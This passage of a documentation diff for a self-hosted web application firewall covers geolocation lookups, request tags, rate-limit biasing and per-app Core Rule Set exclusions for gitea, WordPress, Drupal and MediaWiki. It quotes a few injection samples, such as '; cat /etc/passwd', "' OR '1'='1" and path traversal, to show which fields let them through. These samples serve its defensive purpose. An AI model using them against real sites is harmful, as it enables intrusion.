setting that + needs a lookup is set (`docs/settings.md` lists them). - GeoJS is told the address of every new visitor, whether or not a setting uses the answer, since the request log, the metrics and the ban notes carry it. These addresses are never sent: - - one in `SWWAF_ALLOW_NETS` or `SWWAF_DENY_NETS`; + - one in `SWW_WAF_ALLOW_NETS` or `SWW_WAF_DENY_NETS`; - one under a ban; - a private, loopback or link-local address, which no source can place. - For an IPv6 visitor, GeoJS is asked about the first address of its group. @@ -465,111 +509,174 @@ service that keeps its visitors' addresses on its own host. are kept apart from the table of clients, so that an answer outlasts a client dropped from that table. The answer reaches the client's history and ban notes when it comes. -- `SWWAF_LOOKUP_TIMEOUT` is how long a visitor's request waits for its client's - first answer, when a setting needs it (see step 5). It also bounds each - request to GeoJS. A client whose answer has not come in time counts as unknown - until it comes, and its later requests do not wait. Its address is asked about - again in the background. +- `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is how long a visitor's request + waits for its client's first answer, when a setting needs it (see step 6). A + client whose answer has not come in time counts as unknown until it comes, and + its later requests do not wait. +- A request to GeoJS may take up to 10 seconds, however long visitors wait. It + goes on after the visitor's request ends, and its answer is kept. Say GeoJS + answers after 5 seconds. The visitor's request is decided after 800 + milliseconds, without a country. A request from the same client 6 seconds + later gets the answer. +- Requests from one client that come together share one request to GeoJS. - A client the lookup cannot place has an unknown country and AS number, which - the country lists and the biased thresholds treat as described there. Nothing + the country list and the biased thresholds treat as described there. Nothing else treats it differently. - GeoJS publishes no rate limit, but its terms forbid "an excessive amount of - API requests", judged by GeoJS alone, and let it block a caller. While GeoJS - is slow, down or refusing `servewaf`, new clients count as unknown. GeoJS is - then left alone for a second, and twice as long after each further failure, up - to five minutes. Each failure raises a `source_failure` alert (see - "Alerting"). A service that cannot accept this uses the file. + API requests", judged by GeoJS alone, and let it block a caller. A request to + GeoJS fails when it takes over 10 seconds or GeoJS answers with an error. + While GeoJS is slow, down or refusing `waf`, new clients count as unknown. + After a failure GeoJS is left alone for a second, and twice as long after each + further failure, up to five minutes. Each failure raises a `source_failure` + alert (see "Alerting"). A service that cannot accept this uses the file. - The file is the free IPinfo Lite database (`ipinfo_lite.mmdb`), whose `asn`, `as_name` and `country_code` fields are read. The operator downloads it with a - free IPinfo account and mounts it read-only; `servewaf` never fetches it and - holds no account or token for it. IPinfo updates it daily. Its licence is - Creative Commons Attribution-ShareAlike 4.0, and IPinfo asks for a link to it - on the site that uses it, such as "IP address data is powered by IPinfo". + free IPinfo account and mounts it read-only; `waf` never fetches it and holds + no account or token for it. IPinfo updates it daily. Its licence is Creative + Commons Attribution-ShareAlike 4.0, and IPinfo asks for a link to it on the + site that uses it, such as "IP address data is powered by IPinfo". - The file is read whole at start; one that is missing or unreadable stops the start. It is read again once it has gone 2 seconds without a change after being replaced. A replacement that cannot be read is logged, sent as one `file_error` alert and ignored. The database already loaded stays in use. A client whose address the file does not hold counts as unknown. -### Country lists +### Country list -Both are empty by default: the defaults judge a client by what it does, not by -where it comes from. +`SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` is empty by default: the defaults judge +a client by what it does, not by where it comes from. A `country=` tag in +`SWW_WAF_TAG_DENY` refuses one country (see "Request tags"). -- `SWWAF_DENIED_COUNTRIES` refuses every request from a listed country. -- `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` lets through only clients placed in a +- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` lets through only clients placed in a listed country. Every request from any other country is refused. So is every request from a client the lookup cannot place, such as internal monitoring or a visitor on a private address; those that should reach the app go in - `SWWAF_ALLOW_NETS`. A list that let unplaced clients through would let every + `SWW_WAF_ALLOW_NETS`. A list that let unplaced clients through would let every new client in whenever GeoJS stops answering. The cost: while GeoJS fails, this list refuses every new client. No other failure of GeoJS, a reputation source or an alert destination comes this close to taking the service down. -- Both may be set. `SWWAF_DENIED_COUNTRIES` then adds nothing, since the - exclusive list already refuses every other country. A code on both lists stops - the start with a message naming it. -- A refused request is answered with `SWWAF_BAN_RESPONSE`, as soon as the +- A code in this list whose `country=` tag is in `SWW_WAF_TAG_DENY` stops the + start with a message naming it. +- A refused request is answered with `SWW_WAF_BAN_RESPONSE`, as soon as the client's address has been looked up. It is logged with the action `country_denied`, and counted in the metrics. +### Request tags + +Each request gets tags from what `waf` knows of its client and what the checks +found. The operator refuses or slows clients by tag. Tags appear in the log line +as `tags`, sorted, with empty lists left out (see `docs/request-log.md`). + +Each tag and where it comes from: + +- `asn=` and `country=`, such as `asn=64496` and `country=DE`, + from the lookup. A client the lookup cannot place has neither. A request + refused by `deny_nets` or `active_ban` has neither, because those checks come + before the lookup. +- One tag per list of `SWW_WAF_TAG_LISTS` that holds the client (`tag_lists`), + the tag being the list's name, such as `torexit` or `vpn=mullvad`. These lists + are fetched and kept like a blocklist. `waf` ships none of its own. +- `dnsbl=` and `abuseipdb`, when that reputation source lists the client, + whatever the source's action. A zone with a key is named with the key masked, + as the `reputation` field gives it. +- `exploitsignature`, when a rule file or the Core Rule Set matched the request. + For the Core Rule Set a match is a score at or over + `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`. +- `asn=` and `prefix=` from a routewatch instance + (`routewatch_tags`), while `SWW_WAF_ROUTEWATCH_URL` is set: + - The tag `prefix=` holds the netblock the client's address is announced in, + such as `prefix=192.0.2.0/24`. + - An `asn=` tag has the same spelling as the lookup's. When routewatch and + the lookup give the same AS number, a request has one `asn=` tag. When + they differ, it has both. + - They are added before `deny_nets`, so the log line of a request it refused + has them. + - `waf` asks routewatch in the background and never waits for it. An answer + is kept for 1 hour, in memory and in `routewatch.json`. + - After a query fails, routewatch is not asked for 1 minute. + - A request without these tags gives the reason in the log field + `routewatch_tags_missing` (see + [`docs/request-log.md`](docs/request-log.md)). + +A client in `SWW_WAF_ALLOW_NETS` skips the checks and gets no tag. Every tag is +in lower case, except a country code, which is in capitals. `SWW_WAF_TAG_DENY` +and `SWW_WAF_TAG_LIMIT_PERCENT` accept tags in either case. + +Two settings act on tags: + +- `SWW_WAF_TAG_DENY` lists tags whose requests are refused with the action + `client_denied` (`tag_deny`). The check runs twice: just before the rate + limits, and again after the Core Rule Set, so that `exploitsignature` can + refuse too. +- `SWW_WAF_TAG_LIMIT_PERCENT` lists tags with a percentage from 1 to 99. Their + clients get that percentage of every request and byte limit. The lowest + percentage among a client's tags applies. `exploitsignature` cannot be listed, + since a request gets it only after the rate limits have counted it. + +The tag settings are empty by default, for the same reason as the country list. +The lookup waits for GeoJS when either names an `asn=` or `country=` tag. A +setting that names one stops the start while `SWW_WAF_LOOKUP_SOURCE` is `off`. +The exception is an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is set, since +routewatch gives that tag. + ### Biased thresholds -The biased thresholds lower the limits of clients in listed AS numbers and -countries. The lists are empty by default, for the same reason as the country -lists. The request log and the metrics show which AS numbers and countries a -service's abuse comes from. +The biased thresholds lower the limits of clients by AS number, country and tag. +The lists are empty by default, for the same reason as the country list. The +request log and the metrics show which AS numbers and countries a service's +abuse comes from. -- Each list gives AS numbers or countries a percentage, such as `AS14061:50`. - Their clients get that percentage of every request and byte limit - (`SWWAF_ASN_LIMIT_PERCENT`, `SWWAF_COUNTRY_LIMIT_PERCENT`). A lowered limit is - rounded down. `0` is a zero allowance: the client's first request breaks a - limit and bans it. -- `SWWAF_ASN_BYTES_PERCENT` and `SWWAF_COUNTRY_BYTES_PERCENT` set the byte - limits' percentage alone, when it should differ from the request limits'. For - an AS number they list, they replace its percentage from - `SWWAF_ASN_LIMIT_PERCENT` and `SWWAF_ASN_LIMIT_PERCENT_URL`; for a country, - the one from `SWWAF_COUNTRY_LIMIT_PERCENT`. -- `SWWAF_ASN_LIMIT_PERCENT_URL` names a text file of `AS:percent` lines, so one - abuse-source list can be shared by every `servewaf` in the fleet. It is - fetched and kept like a blocklist (see "Reputation"). Where it and - `SWWAF_ASN_LIMIT_PERCENT` both give a percentage, the lower applies. +- `SWW_WAF_TAG_LIMIT_PERCENT` gives a tag a percentage, such as `asn=14061:50` + (see "Request tags"). A lowered limit is rounded down. +- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` at `0` is a zero allowance: the + client's first request breaks a limit and bans it. +- `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT` + set the byte limits' percentage alone, when it should differ from the request + limits'. For an AS number they list, they replace its `asn=` tag's percentage + and its entry in `SWW_WAF_ASN_LIMIT_PERCENT_URL`; for a country, its + `country=` tag's percentage. +- `SWW_WAF_ASN_LIMIT_PERCENT_URL` names a text file of `AS:percent` lines, so + one abuse-source list can be shared by every `waf` in the fleet. It is fetched + and kept like a blocklist (see "Reputation"). Each entry counts like an `asn=` + tag in `SWW_WAF_TAG_LIMIT_PERCENT`. Where both give a percentage, the lower + applies. - A client's limit percentage is the lowest of those that apply to it: its AS - number's, its country's, or a reputation hit's `limit:`. A client - without a country gets `SWWAF_UNKNOWN_LIMIT_PERCENT` in place of a country's. - The percentage is 100 if none applies. Clients given a lower percentage are - banned after fewer requests, first for a while and then, for repeated abuse, - permanently. The log line of each counted request, and the notes of each ban, - say which setting lowered the limit. + number's, its country's, its tags', or a reputation hit's `limit:`. A + client without a country gets `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` in place + of a country's. The percentage is 100 if none applies. Clients given a lower + percentage are banned after fewer requests, first for a while and then, for + repeated abuse, permanently. The log line of each counted request, and the + notes of each ban, say which setting lowered the limit. - No budget is shared by a whole country or AS number. One abuser could use it up and lock out everyone else there: a denial of service nobody chose, and the one this tool exists to prevent. Refusing a whole country is left to the - operator's choice, through the country lists. + operator's choice, through `SWW_WAF_TAG_DENY` or the country list. ### Attack detection By default the Core Rule Set reads the method, the URL with its query string, and the headers of every request. That is where automated attacks show: injection in query strings, path traversal, attacks carried in headers, -scanners' user agents. It reads no request body. In front of a code forge such -as gitea, bodies carry what people write and publish, such as issue text and -files saved in the web editor. The Core Rule Set takes the shell commands and -code in them for attacks. The default gives up refusing an attack carried in a -body. The rule files, the limits and the bans still apply to the client that -sends it. +scanners' user agents. It reads no request body. In front of a code forge, +bodies carry what people write and publish, such as issue text and files saved +in the web editor. The Core Rule Set takes the shell commands and code in them +for attacks. The default gives up refusing an attack carried in a body. The rule +files, the limits and the bans still apply to the client that sends it. -- The Core Rule Set skips a path under `SWWAF_WAF_EXEMPT_PATHS`. -- `SWWAF_WAF_PARANOIA_LEVEL` and `SWWAF_WAF_ANOMALY_THRESHOLD` are the Core Rule - Set's own two tuning values, at its own defaults. Each level up runs more - rules, which find more attacks and take more ordinary requests for attacks. - Each rule that matches adds its score to the request's, and a rule rated - critical adds 5. A request whose score reaches the threshold is a match, so by - default one critical rule is enough. With the threshold `off`, nothing is a - match, and scores are still logged. A request with more than 1000 query - parameters or body fields adds 5 to its score, since Coraza reads only the - first 1000. For a match, in `block` and `detect` mode alike, the log line - gives the rule ids and the score, and a `waf_block` alert is sent. -- `SWWAF_WAF_DISABLED_RULES` switches off rule ids when an app trips a false - positive. The default switches off six rules: +- The Core Rule Set skips a path under `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS`. +- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` and + `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` are the Core Rule Set's own two tuning + values, at its own defaults. Each level up runs more rules, which find more + attacks and take more ordinary requests for attacks. Each rule that matches + adds its score to the request's, and a rule rated critical adds 5. A request + whose score reaches the threshold is a match, so by default one critical rule + is enough. With the threshold `off`, nothing is a match, and scores are still + logged. A request with more than 1000 query parameters or body fields adds 5 + to its score, since Coraza reads only the first 1000. For a match, in `block` + and `detect` mode alike, the log line gives the rule ids and the score, and a + `core_rule_set_match` alert is sent. +- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` switches off rule ids when an app trips + a false positive. The default switches off six rules: - 920340, 920420 and 920640 refuse a request for the type of its body, when the type is missing or not on the Core Rule Set's short list; - 920440 refuses a request for its file extension, such as `.sh` or `.sql`; @@ -583,25 +690,47 @@ sends it. probes these rules caught (see "Rule files"). A list you give replaces the default, so name these six ids in it to keep them off. -- `SWWAF_WAF_BODY_LIMIT` switches body inspection on, up to that size. It takes - at most `64K`, since `servewaf` gets no more of a body than that (see "The - answer"). Form data and multipart bodies are read up to the size. JSON and XML - bodies are read only when no larger than the size, since those cannot be read - in part. Any other body is not read: the Core Rule Set would read it as form - data, where binary content such as a git push trips rules written for text. A - body the Core Rule Set cannot parse adds 5 to the score, and so does a - multipart body cut by the limit in the middle of a part's header. Body - inspection suits apps whose forms carry no code; `docs/gitea.md` records what - it refuses in front of gitea. -- `SWWAF_TRAP_PATHS` names paths the app never serves and only scanners ask for, - such as `/wp-login.php` in front of gitea. This is the short form of a `path` - rule with the `ban` action, for deployments that mount no rule files. A trap - path is matched whole, without the query, against the path as sent and once - percent-decoded: `/wp-login.php` matches `/wp-login.php?x=1` and - `/%77p-login.php`, and does not match `/wp-login.php/` or - `/blog/wp-login.php`. -- `SWWAF_ERROR_BURST_THRESHOLD` counts a client's refusals per minute of these - kinds, and of no other: +- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as + Coraza directives. An exclusion switches one rule off for some fields or paths + only, where `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` switches it off everywhere. + The file holds exclusions for your own app. The fixes below are for the apps + `SWW_WAF_APPS` takes. + - `waf` loads the file after `smallwebwaf`'s own setup rules and before the + Core Rule Set's rules. The Core Rule Set loads its own + `REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point. + - So the file holds only `SecAction` and `SecRule` lines that exclude with + `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. These run with each + request, before the rules they exclude, those of phase 1 included. + - A rule that `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` switches off and the + file names is simply off. + - The start stops on a file that cannot be read or does not parse, whatever + `SWW_WAF_CORE_RULE_SET_MODE` is. + - It stops too on a file that names a number from 900000 to 900999, the ids + of `smallwebwaf`'s own rules, alone or in a range. Comment lines are not + checked. + - It stops too on a directive that removes or changes rules as the file + loads, such as `SecRuleRemoveById`, since none of the Core Rule Set's + rules is loaded yet. + +- `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` switches body inspection on, up + to that size. It takes at most `8K`, so that `waf` answers in time (see + "Answering in time"). Form data and multipart bodies are read up to the size. + JSON and XML bodies are read only when no larger than the size, since those + cannot be read in part. A JSON body over 1 KiB is not read either, whatever + the size (see "Answering in time"). Any other body is not read: the Core Rule + Set would read it as form data, where binary content such as a git push trips + rules written for text. A body the Core Rule Set cannot parse adds 5 to the + score, and so does a multipart body cut by the limit in the middle of a part's + header. Body inspection suits apps whose forms carry no code. +- `SWW_WAF_TRAP_PATHS` names paths the app never serves and only scanners ask + for, such as `/wp-login.php` in front of an app that is not WordPress. This is + the short form of a `path` rule with the `ban` action, for deployments that + mount no rule files. A trap path is matched whole, without the query, against + the path as sent and once percent-decoded: `/wp-login.php` matches + `/wp-login.php?x=1` and `/%77p-login.php`, and does not match `/wp-login.php/` + or `/blog/wp-login.php`. +- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` counts a client's refusals per minute of + these kinds, and of no other: - a rule file match; - a trap path; - a Core Rule Set match. @@ -609,34 +738,88 @@ sends it. More than this breaks a limit (see "Bans"). A client trying one attack after another is refused many times a minute; a person rarely more than a few times. Answers the app gives are not counted, since they do not tell a - scanner from an ordinary client. In front of gitea, registry and git clients - get `404` and `401` by design, hundreds of times a minute. + scanner from an ordinary client. In front of a code forge, registry and git + clients get `404` and `401` by design, hundreds of times a minute. -`smallwebwaf` changes the Core Rule Set 4.25.0 in six ways, since in front of +`smallwebwaf` changes the Core Rule Set 4.25.0 in five ways, since in front of gitea it would otherwise refuse ordinary requests. The changes hold in front of every app, and no setting undoes them: 1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST` and `OPTIONS`. APIs, container image pushes and package uploads use them. - Other methods stay refused. + Other methods stay refused, except on Nextcloud's WebDAV paths, where + Nextcloud's fixes allow the WebDAV methods Nextcloud uses. 2. The request header `Expect` is allowed, since curl and git send it before some large uploads. `Content-Encoding` is allowed on a request whose body the Core Rule Set does not read, which by default is every request. git compresses a fetch request over 1 KiB and says so in that header. On a body the Core Rule Set does read, the header stays refused, since a compressed - body cannot be inspected. The other headers the Core Rule Set refuses, such - as `Proxy`, stay refused. + body cannot be inspected. While `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` + is set, it stays refused too on a `PUT` of JSON, XML or form data to + Nextcloud's WebDAV paths, whose body Nextcloud's fixes leave unread. The + other headers the Core Rule Set refuses, such as `Proxy`, stay refused. 3. The `redirect_uri` parameter is not checked for a URL naming an IP address or `localhost` (931100, 934110). Git Credential Manager, git-credential-oauth and tea, which gitea registers for OAuth sign-in, ask to be sent back to `http://127.0.0.1` on the user's own machine. The server never fetches that address. -4. Ten query parameters are not checked against the Core Rule Set's lists of - system files (930120), shell paths (932160) and command names (932260): +4. `Referer` is not checked for a Unix command given without arguments (932340) + or for Java starting a process (944110). `Referer` names the page a request + comes from, on everything that page loads and on every link followed from it. + The Core Rule Set takes some page addresses for attacks: + - a search for `env`; + - OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`. + + Every request from such a page would be refused. `Referer` keeps the other + rules, except where gitea's and Forgejo's fixes say otherwise. An app that + passes `Referer` to a shell must check it itself. + +5. Responses are not inspected. A raw file from a repository, such as a shell + script, looks to the response rules like source code leaking from the server. + +Each supported app also has its own fixes, which let its ordinary requests +through. `SWW_WAF_APPS` says which hostnames get which app's fixes: + +- `SWW_WAF_APPS` holds entries separated by semicolons. Each is a hostname, a + colon, then one or more apps separated by commas, for example + `git.example.com:gitea;blog.example.com:wordpress`. +- The request's `Host` is matched by exact name, without its port and without + regard to case. There are no wildcards. +- A hostname not listed gets no app's fixes. Set empty, `SWW_WAF_APPS` lists no + hostname. +- Unset, every app's fixes hold for every hostname. An app's fixes then weaken + the check of any other app that serves the same paths or fields. +- Any of these mistakes stops the start: + - an unknown app; + - a hostname that is not a DNS name, such as `*.example.com`; + - a hostname listed twice; + - an app listed twice for one hostname; + - an entry without a colon. + +The supported apps are: + +- `drupal`; +- `forgejo`; +- `ghost`; +- `gitea`; +- `mastodon`; +- `mediawiki`; +- `nextcloud`; +- `vaultwarden`; +- `wordpress`. + +Each app's fixes are in one file, such as `internal/coreruleset/gitea.conf`, and +one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are: + +1. Ten parameters are not checked against the Core Rule Set's lists of system + files (930120), shell paths (932160) and command names (932260), on any path: - `path`, `files`, `skip-to` and `sub_path`; - `ref`, `sha`, `branch` and `workflow`; - `artifactName` and `redirect_to`. + They skip these rules in the query, and in a form data or multipart body + while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. + gitea puts into them file paths, branch and workflow names, and the page to return to after signing in. It reads these values as names in a repository or in its own records, or as a page of its own site, never as a command. Any @@ -644,56 +827,1150 @@ every app, and no setting undoes them: or `docker-build`. In these parameters, what only these three rules would catch reaches the app, such as the command `|cat /etc/passwd`. Path traversal, SQL and script injection, and PHP, Java and Node.js code are - still refused there. Every other parameter keeps all three rules. An app - that uses one of these parameters as a file on the server, or passes it to a - shell, must check the value itself. A rule file can refuse it instead. + still refused there. Other parameters keep all three rules, except on the + paths named in gitea's third fix and in the other apps' fixes. -5. Two cookies are left out, and `Referer` keeps fewer rules: - - The Core Rule Set reads the request without the `gitea_flash` and - `redirect_to` cookies. gitea puts a message naming what was just done into - `gitea_flash`. It puts into `redirect_to` the page to return to after - signing in. The Core Rule Set takes file names in them, such as - `package.json`, for attacks. A browser sends such a cookie with every - request until gitea replaces it. gitea cannot replace it while those - requests are refused, so one refusal would keep the browser out of the - whole site. gitea shows the message with any script removed and returns - only to its own pages. Every other cookie is read in full. An app that - reads a cookie of either name must check it itself. - - `Referer` is not checked for a Unix command given without arguments - (932340) or for Java starting a process (944110). `Referer` names the page - a request comes from, on everything that page loads and on every link - followed from it. The Core Rule Set takes some page addresses for attacks, - such as a search for `env`, or OpenJDK's `Runtime.java`, whose path holds - both `runtime` and `java.`. All of those requests would be refused. - `Referer` keeps the other rules. An app that passes `Referer` to a shell - must check it itself. -6. Responses are not inspected. A raw file from a repository, such as a shell - script, looks to the response rules like source code leaking from the server. +2. The Core Rule Set reads the request without the `gitea_flash` and + `redirect_to` cookies. gitea puts a message naming what was just done into + `gitea_flash`. It puts into `redirect_to` the page to return to after signing + in. The Core Rule Set takes file names in them, such as `package.json`, for + attacks. A browser sends such a cookie with every request until gitea + replaces it. gitea cannot replace it while those requests are refused, so one + refusal would keep the browser out of the whole site. gitea shows the message + with any script removed and returns only to its own pages. Every other cookie + is read in full. +3. On gitea's paths, some fields skip the rules that refused ordinary gitea + requests there. They are the fields where gitea sends a search, a file's name + or text, a commit message, a branch name or a repository's name. + `internal/coreruleset/gitea.conf` lists each rule and the request it refused. + The fields are: + - `q` on gitea's searches of code, of issues and pull requests, and of + commits. A code search holds code, such as `` and `javascript:alert(1)` are still refused. + + Elsewhere these fields keep every rule. The paths are those of gitea at the + site root. + +4. `Referer` is not checked for a Java class name (944130), on any path. Every + request from the page of a file named `java.lang.String.md` would be refused. +5. The `from` parameter of a container registry's upload path, + `/v2//blobs/uploads/`, is not checked for command names (932260). When + a push reuses a layer, `from` names the image the layer comes from. An image + such as `owner/python3-app` would have that push refused. + +WordPress's fixes: on WordPress's paths, some fields skip the rules that refused +ordinary WordPress requests there. `internal/coreruleset/wordpress.conf` lists +each rule and the request it refused. The REST API has four addresses: + +- `/wp-json/...` +- `/index.php/wp-json/...` +- `/index.php?rest_route=/...` +- `/?rest_route=/...` + +The fields are: + +- The header `X-HTTP-Method-Override` on any address of the REST API (920450). + The block editor saves a post with `POST` and names `PUT` in this header. +- Three groups of fields skip the rules on system files and commands (930120, + 932120, 932250, 932260). The fields hold searches, names and addresses of + WordPress's own pages, and any of them can hold any word. The groups are: + - On all of `/wp-admin/` and on `/wp-login.php`: + - the searches `s`, `search`, `q` and `term`; + - the names `tag`, `category_name`, `plugin`, `checked[]`, `theme` and + `stylesheet`; + - the name of a plugin's settings page in `page`; + - the addresses `url`, `return`, `redirect_to`, `wp_http_referer` and + `_wp_http_referer`. + - On every REST API route under `/wp/v2/` and on the route + `/oembed/1.0/embed`: `search`, `term`, `slug` and `url`. + - On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and `tag`. + + The addresses of the first group also skip the rule on Unix commands + (932235), because an address repeats the search it came from. The other + fields of the groups keep that rule. + +- On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists of + PowerShell commands and command names (932120, 932260): + - the name of a template in `p` and `postId` of the site editor; + - the name of a plugin to install in `slug`. + + WordPress writes these names as slugs, such as `htaccess` and `ls-la`. + +- `url` on the REST API routes `/wp-block-editor/v1/url-details` and + `/oembed/1.0/proxy`, for the lists of system files and PowerShell commands + (930120, 932120). The block editor's link previews and embeds send an address + in this field. + +- `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given without + arguments (932340). The media list's own address ends in `&ps`. +- `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`, for + the lists of system files, shell paths, command names and JavaScript names + (930120, 932120, 932160, 932260, 941180). +- These fields of a body. Each applies only when the query has no parameter of + that name, so it matters only while + `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set: + - `content` of a post, a page, a template or a template part saved through + the REST API. It holds HTML and any code it shows. + - `content` of a reply to a comment sent to `admin-ajax.php`. + - `newcontent` of a plugin's or a theme's file saved from its editor, which + is PHP. + - `pwd`, the password when signing in, for each rule that random passwords + set off: + + 920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160, + 932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380, + 933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100, + 942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150. + + `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and + `` sent as the password reach WordPress; + `` and `javascript:alert(1)` are still refused. + + - `pass1`, `pass2` and `post_password` on `/wp-login.php`, which reset a + password and sign in to a protected post, for the same rules. + - `pass1` and `pass2` on these pages, for the same rules: + - `/wp-admin/profile.php`; + - `/wp-admin/user-edit.php`; + - `/wp-admin/user-new.php`; + - `/wp-admin/network/user-edit.php`, `/wp-admin/network/profile.php` and + `/wp-admin/user/profile.php`, on a multisite install. + + Each of `pass1`, `pass2` and `post_password` skips these rules on all of + these pages and on `/wp-login.php`. + + - `password` in form data or JSON on the REST API's `/wp/v2/users` and the + user under it, for the same rules. + - `title`, `excerpt` and `name` in a JSON body sent to any REST API route + under `/wp/v2/`, for the rules on system files and commands (930120, + 932120, 932250, 932260). + - `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for the + lists of PowerShell commands and command names (932120, 932260). + - `url` on `/wp-comments-post.php`, the address of a commenter's site, for + the lists of system files and PowerShell commands (930120, 932120). + +Elsewhere WordPress's fixes do not apply. The paths are those of WordPress at +the site root. + +Drupal's fixes: on Drupal's paths, some fields skip the rules that refused +ordinary Drupal requests there. `internal/coreruleset/drupal.conf` lists each +rule and the request it refused. These query fields skip the lists of system +files and command names (930120, 932120, 932250, 932260): + +- On every page under `/admin`: `title`, `name`, `user`, `filename`, `filemime`, + `info`, `subject`, `author_name`, `search`, `q` and `destination`. +- `destination` on the pages Drupal links to with one, such as these: + - `/node/1/edit`; + - `/user/login`; + - `/node/1/revisions/2/revert`; + - `/block/add/basic`; + - `/big_pipe/no-js`. +- `keys` on `/search` and the pages under it. +- `q` on these autocompletes: + - `/entity_reference_autocomplete/`; + - `/ckeditor5/{editor}/entity-link-suggestions`; + - `/block-category/autocomplete`. +- Every `filter[...]` field on `/jsonapi/`. +- `name` on `/user/password`, `/media-library` and `/views/ajax`, in the query + or a body. + +`destination` also skips 932230 and 932235, because it holds the address of a +page of results. `url` on `/media/oembed`, the address of a video, skips only +930120 and 932120. + +These fields of a body skip the rules that refused them: + +- On the node, comment and media forms, for 930120, 932120, 932250 and 932260: + - the title; + - the summary; + - the tags; + - the address; + - the revision note; + - the comment subject; + - the media name; + - the image text. +- On the tag, custom block and contact forms, for the same four rules: + - the tag's name and description; + - the block description and body; + - the subject and message of a contact message. +- These fields through JSON:API, for the same four rules: + - `title`; + - `subject`; + - `body.summary`; + - `name`; + - `revision_log`; + - `info`; + - `description.value`. +- The title saved through Drupal's JSON format on `/node/{id}`, for the same + four rules. +- The body and comment body on the node and comment forms and through JSON:API, + which hold HTML and any code it shows. +- `name` and `pass` when signing in (930120, 932120, 932250, 932260). +- `pass`, the password when signing in, in form data or JSON, for each rule that + random passwords set off: + + 920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160, + 932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380, + 933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100, + 942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150. + + `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and + `` sent as the password reach Drupal; + `` and `javascript:alert(1)` are still refused. + +- The other passwords, for the same rules: + - `pass[pass1]`, `pass[pass2]` and `current_pass` on `/user/register`, + `/user//edit` and `/admin/people/create`; + - `pass.value`, `pass.0.value` and `pass.0.existing` in the JSON body of + `/user/register` and `/user/`; + - `data.attributes.pass.value` and `data.attributes.pass.existing` in the + JSON:API body of `/jsonapi/user/user` and each user under it. + + Each field listed skips these rules on every path listed, not only on the + paths given for it. + +- `name` when resetting a password through Drupal's JSON format on + `/user/password`, for the same four rules. +- `mail` in that same reset, for 932120 and 932260 only. +- `name` when signing up, editing an account and commenting without an account, + for the same four rules. +- `mail` on those forms, for 930120, 932120 and 932260 only. + +These exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` +is set. None applies when the query has a parameter of the same name. + +Elsewhere these fields keep every rule. The paths are those of Drupal at the +site root, with or without a language prefix such as `/fr`. Such a prefix is any +first path segment of two or three lowercase letters, optionally followed by a +hyphen and more letters, so `/api` counts too. + +MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that refused +ordinary MediaWiki requests there. `internal/coreruleset/mediawiki.conf` lists +each rule and the request it refused. These fields skip the lists of system +files and command names (930120, 932120, 932250, 932260), in the query or the +body: + +- On MediaWiki's pages, which are `/index.php` and the paths under `/index.php/` + and `/wiki/`: + - the searches `search` and `ilsearch`; + - the titles `title`, `page` and `target`; + - `from`, `to` and `prefix`, which limit a list of pages; + - the user names `user`, `username` and `wpTarget`; + - the file names `filename` and `wpDestFile`; + - `returnto` and `returntoquery`, the page and query to go back to after + signing in. +- On `/api.php`: + - the searches `search`, `srsearch` and `pssearch`; + - the titles `titles`, `title`, `page` and `bltitle`; + - `from` and `to`, the titles of a page being moved; + - the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`, `aiprefix`, + `aufrom` and `auprefix`; + - `letitle`, the page whose log is listed; + - `euquery`, an address; + - the fields a generator sends in place of the fields above, each with a `g` + in front: + - `gsrsearch` and `gpssearch`; + - `gapfrom`, `gapto` and `gapprefix`; + - `gaifrom` and `gaiprefix`; + - `gbltitle`; + - `geuquery`; + - the user names `ucuser`, `bkusers` and `user`; + - `summary`, `sectiontitle`, `filename`, `comment` and `reason`; + - `lgname`, `lgpassword`, `username` and `password`, for signing in. +- `q` on `/rest.php/` and the paths under it. + +`modules` on `/load.php` skips 930120 alone, because it lists the scripts and +styles a page loads. + +These fields of a body 